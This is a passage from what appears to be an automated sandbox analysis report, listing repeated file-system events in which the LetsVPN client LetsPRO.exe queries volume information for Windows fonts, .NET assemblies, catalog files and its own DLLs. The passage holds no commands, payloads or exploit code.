            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\PresentationFramework-SystemXml\v4.0_4.0.0.0__b77a5c561934e089\PresentationFramework-SystemXml.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationTypes\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationTypes.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\UIAutomationProvider\v4.0_4.0.0.0__31bf3856ad364e35\UIAutomationProvider.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Http.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Program Files (x86)\letsvpn\app-3.7.0\Newtonsoft.Json.dll VolumeInformation
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
